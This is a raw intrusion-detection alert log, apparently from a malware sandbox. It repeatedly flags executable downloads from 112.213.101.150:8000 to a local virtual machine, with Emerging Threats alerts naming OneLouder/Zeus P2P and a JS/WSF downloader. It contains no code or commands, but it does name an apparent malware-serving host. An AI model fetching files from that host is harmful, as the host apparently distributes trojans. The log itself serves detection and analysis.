TCP 112.213.101.150:8000 -> 192.168.56.101:49268 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49456 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49365 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49456 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49365 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49456 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49365 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49456 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49723 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49365 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49456 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49723 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49365 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49456 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49723 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49365 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49456 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49723 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49365 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49723 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49723 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49723 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49770 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49553 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49431 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49770 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49431 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49770 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49431 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49553 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49770 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49553 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49431 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49553 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49431 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49770 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49553 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49770 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49553 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49770 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49553 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49431 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49431 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49331 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49331 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49331 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49694 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49331 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49694 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49694 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49694 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49163 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49331 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49694 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49163 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49331 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49694 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49163 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49331 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49163 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49694 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49163 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49163 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49163 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49487 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49621 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49487 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49621 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49487 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49621 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49487 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49621 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49487 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49621 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49487 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49663 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49621 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49487 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49621 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49663 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49663 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49663 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49663 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49663 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49663 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49254 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49254 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49327 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49254 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49327 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49254 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49327 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49814 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49327 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49814 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49327 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49814 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49327 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49814 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49254 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49814 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49814 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49254 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49814 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49254 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49787 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49787 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49787 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49327 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49787 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49787 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49735 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49787 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49787 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49735 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49735 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49735 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49735 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49735 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49735 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49198 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49198 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49784 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49198 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49198 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49784 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49198 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49784 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49198 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49784 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49386 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49198 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49784 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49386 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49784 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49386 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49784 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49386 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49386 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49386 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49386 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49575 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49575 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49575 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49575 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49575 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49575 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49575 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49709 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49709 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49709 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49709 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49709 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49670 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49709 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49670 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49670 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49670 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49670 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49670 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49670 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49465 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49465 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49546 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49465 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49546 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49465 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49543 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49546 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49465 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49543 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49546 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49465 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49543 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49465 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49546 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49169 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49543 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49546 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49169 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49543 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49709 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49546 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49543 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49169 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49543 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49169 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49169 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49169 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49169 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49354 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49354 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49354 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49354 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49354 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49354 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49354 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49565 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49565 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49325 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49565 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49325 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49565 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49325 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49565 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
